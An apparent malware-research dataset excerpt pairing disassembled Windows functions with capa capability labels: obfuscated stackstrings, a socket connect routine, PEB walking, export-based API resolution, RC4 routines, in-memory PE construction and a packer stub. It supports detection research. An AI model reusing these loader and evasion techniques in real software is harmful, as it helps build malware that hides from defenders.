joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x40a064
push 0x40a06c
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x40a094
push 0x40a06c
mov dword [ebp - 4], eax
call edi
push eax
call ebx
mov ebx, eax
nop
nop
nop
push 0
call esi
nop
nop
nop
push 0
call esi
mov word [ebp - 0x14], 2
nop
nop
nop
push 0
call esi
push 0x51
call dword [ebp - 4]
mov word [ebp - 0x12], ax
mov al, 0x54
mov byte [ebp - 0x36], al
mov byte [ebp - 0x32], al
mov byte [ebp - 0x2e], al
mov al, 0x64
mov byte [ebp - 0x23], al
mov byte [ebp - 0x21], al
mov al, 0x3d
mov dl, 0x35
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x19], al
mov byte [ebp - 0x38], dl
mov byte [ebp - 0x34], dl
lea eax, [ebp - 0x38]
mov cl, 0x65
mov dl, 0x33
push eax
mov byte [ebp - 0x37], cl
mov byte [ebp - 0x35], 0x55
mov byte [ebp - 0x33], 0x75
mov byte [ebp - 0x31], 0x69
mov byte [ebp - 0x30], 0x30
mov byte [ebp - 0x2f], 0x4f
mov byte [ebp - 0x2d], 0x4c
mov byte [ebp - 0x2c], 0x34
mov byte [ebp - 0x2b], 0x4d
mov byte [ebp - 0x2a], 0x76
mov byte [ebp - 0x29], 0x68
mov byte [ebp - 0x28], 0x48
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0x66
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], dl
mov byte [ebp - 0x22], 0x41
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1e], 0x62
mov byte [ebp - 0x1d], 0x58
mov byte [ebp - 0x1c], 0x51
mov byte [ebp - 0x1b], 0x77
mov byte [ebp - 0x18], 0
call fcn.00401290
push eax
call fcn.00404860
add esp, 8
mov dword [ebp - 0x10], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
nop
nop
nop
push 0
call esi
lea ecx, [ebp - 0x14]
push 0x10
push ecx
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4026eb
push edi
call ebx
nop
nop
nop
push 0
call esi
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
push edi
push str.RegCloseKey
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
mov dl, 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, 0x72
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], al
mov bl, 0x74
mov byte [esp + 0x22], cl
mov byte [esp + 0x26], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2f], al
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x10], dl
mov byte [esp + 0x11], 0x59
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x45
mov byte [esp + 0x15], 0x4d
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x75
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x43
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], bl
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x5c
mov byte [esp + 0x29], dl
mov byte [esp + 0x2c], 0x76
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x30], 0x73
mov byte [esp + 0x31], 0x5c
mov byte [esp + 0x32], 0
lea edx, [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x38]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Pqrstu_Wxyabcde_Ghi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x34]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x40]
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40381a
mov edx, dword [esp + 0x34]
push edx
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x12c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
Function at 0x402560
Capabilities:
Identify system language via api

Disassembly:
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx edx, ax
mov ax, dx
mov byte [esi], 0
and edx, 0x3ff
shr ax, 0xa
dec edx
movzx edi, ax
cmp edx, 0x23
ja case.0x40258a.3
jmp dword [edx*4 + 0x402740]
push 0x41ea3c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41ea60
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0x3ff
and ax, cx
cmp ax, 9
je case.0x40258a.3
cmp edi, 2
jne 0x4025db
push 0x41ea70
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41ea88
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eaa0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eaac
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eab8
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41ead0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eadc
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eae8
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eaf4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb00
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb10
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb1c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb2c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb38
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb48
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
cmp edi, 1
jne 0x40273a
push 0x41ea48
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb54
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb60
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb6c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb78
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41ed38
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb84
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eb90
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
push 0x41eac4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
ret
Function at 0x4102fa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410179
Function at 0x1000bea1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x102ed978], 0x1bef
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x1000becc
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1000e64c]
mov dh, byte [eax + 0x1000e61d]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
jne 0x1000becc
lea eax, [ebp - 0x20]
mov dword [0x102ed97c], 0x5f3
mov dword [0x102ed978], 0x1528
mov dword [ebp - 0x34], eax
call fcn.1000c3f6
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1000bd39
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], ecx
je 0x1000bec4
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1000c4b4
xor eax, eax
mov ecx, dword [0x102ed978]
add ecx, 0x25d2
mov dword [0x102ed97c], ecx
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 4], ecx
mov dword [0x102ed978], 0x14a0
cmp ecx, 0
mov dword [ebp - 0x30], eax
je 0x1000bec4
mov dword [0x102ed978], 0x3b87
mov eax, dword [ebp - 0x3c]
add eax, 0x1d38
mov dword [ebp - 0x30], eax
jmp 0x1000bec4
Function at 0x1000bfdb
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x1000c19b
jmp 0x1000c055
mov eax, 0x1121
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov si, word [edx]
shr si, 1
movzx edi, si
cmp si, 0
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], ecx
je 0x1000c091
jmp 0x1000c0e8
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff8
mov dword [ebp - 0x18], eax
jmp 0x1000c19b
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov dword [0x102ed978], 0x244a
mov edx, dword fs:[0x18]
mov dword [0x102ed978], 0x1cf5
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0xc]
add eax, 0x14
mov edx, eax
mov byte [ebp - 0x31], cl
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [eax]
mov edx, dword [ebp - 0x38]
cmp eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
je 0x1000c19b
mov eax, dword [ebp - 0x20]
add eax, 0x24
mov dword [0x102ed978], 0x1121
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x28]
mov esi, dword [ecx + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x31]
and bh, bl
test bh, 1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], esi
jne 0x1000c045
jmp 0x1000c016
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x28]
mov edx, eax
add edx, 1
add ecx, 0xfffff50e
mov esi, dword [ebp - 0x3c]
mov di, word [esi + eax*2]
mov bx, di
add bx, 0xffbf
mov si, di
add si, 0x20
cmp bx, 0x1a
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x4c], ecx
mov word [ebp - 0x4e], di
mov word [ebp - 0x50], si
jb 0x1000c133
mov ax, word [ebp - 0x4e]
mov word [ebp - 0x50], ax
mov ax, word [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x44]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
setne bh
mov al, bl
and al, bh
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0x2c]
cmp esi, edi
setb bh
and al, bh
test al, 1
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 0x51], bl
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], eax
jne 0x1000c0e8
mov eax, dword [ebp - 0x4c]
mov dword [0x102ed978], eax
mov dword [0x102ed97c], 0x180d
mov cl, byte [ebp - 0x51]
test cl, 1
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], esi
jne 0x1000c19b
jmp 0x1000c091
mov eax, dword [ebp - 0x18]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c2c3
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102ed984], 0
mov byte [0x102ed988], 0
mov dword [0x102ed978], 0x143d
mov dword [0x102ed980], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000c31b
xor eax, eax
mov dword [0x102ed980], 0
mov dword [ebp - 0x20], eax
jmp 0x1000c34d
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102ed97c], 0x2604
mov eax, dword [0x102ed980]
add eax, 1
mov dword [0x102ed980], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000c31b
jmp 0x1000c30a
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x102ed98c], 0
mov dword [0x102ed97c], 0x15f3
mov edi, dword [0x102ed984]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x102ed98c], esi
mov dword [0x102ed978], 0x234c
mov eax, esi
cdq
idiv ecx
mov dword [0x102ed984], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x102ed988], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x102ed988]
mov esi, dword [0x102ed984]
mov byte [ebx + esi], cl
mov esi, dword [0x102ed980]
add esi, 1
mov dword [0x102ed980], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000c34d
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c6ab
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1000c722
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x1000c722
jmp 0x1000c738
mov dword [0x102ed97c], 0xa99
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1000c756
jmp 0x1000c7ae
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1000c6f0
jmp 0x1000c7ae
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
jne 0x1000c6d7
mov eax, dword [ebp - 0x18]
mov dword [0x102ed978], 0x156c
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
je 0x1000c70e
jmp 0x1000c7ae
mov dword [0x102ed978], 0x151b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1000c7ae
mov dword [0x102ed978], 0x1fe5
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000c7ae
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000c7ae
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x1000c7b5
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000c7b5
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x1000c7bd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [0x102ed97c], 0x1fb9
mov dword [ebp - 0x10], eax
call fcn.1000ce86
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x1000c803
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x102ed97c], 0x53
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x102ed978], 0x1839
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x1000c919
jmp 0x1000c8b6
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], bh
mov byte [ebp - 0x4e], cl
je 0x1000c8cd
mov al, byte [ebp - 0x4d]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x4c]
add edx, 1
mov ah, byte [ebp - 0x4e]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x48], edx
jne 0x1000c862
jmp 0x1000c8cd
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
jmp 0x1000c848
mov al, byte [ebp - 0x4e]
test al, 1
jne 0x1000c900
jmp 0x1000c8d6
xor eax, eax
mov ecx, dword [ebp - 0x3c]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], eax
jb 0x1000c848
jmp 0x1000c919
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000d016
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102ed980], 0
mov dword [0x102ed984], 0
mov dword [0x102ed990], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000d17b
jmp 0x1000d088
mov eax, dword [0x102ed984]
mov ecx, dword [0x102ed980]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov edi, ecx
add edi, 1
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102ed980], edx
mov dword [0x102ed978], 0x1bee
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x102ed984], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x102ed988], cl
mov dword [0x102ed978], 0xfad
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x102ed988]
mov edx, dword [0x102ed984]
mov byte [ebx + edx], cl
mov dword [0x102ed978], 0x2446
mov edx, dword [0x102ed980]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102ed984]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102ed990], ecx
mov dword [0x102ed978], 0x213
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov dword [0x102ed978], 0x1808
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [0x102ed97c]
add edx, 0x22f8
mov dword [0x102ed97c], edx
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x2c], edi
jne 0x1000d071
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000d183
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000c973
lea ecx, [0x1000c924]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x60], edx
mov dword [esp + 0x50], 0x15ca00
mov edx, dword [0x102ed964]
mov dword [esp + 0x5c], edx
mov edx, dword [0x102ed968]
mov dword [esp + 0x68], edx
mov edx, dword [0x102ed96c]
mov dword [esp + 0x38], edx
mov edx, dword [0x102ed970]
mov dword [esp + 0x2c], edx
mov edx, dword [0x102ed974]
mov dword [esp + 0x70], edx
mov dword [0x102ed978], 0x1c86
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000d22d
mov eax, dword [esp + 0x10]
mov dword [esp + 0x3c], eax
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x40], edx
call fcn.1000c6ab
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
je 0x1000d264
jmp 0x1000d291
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1000d250
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1000d205
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000d22d
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000bea1
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
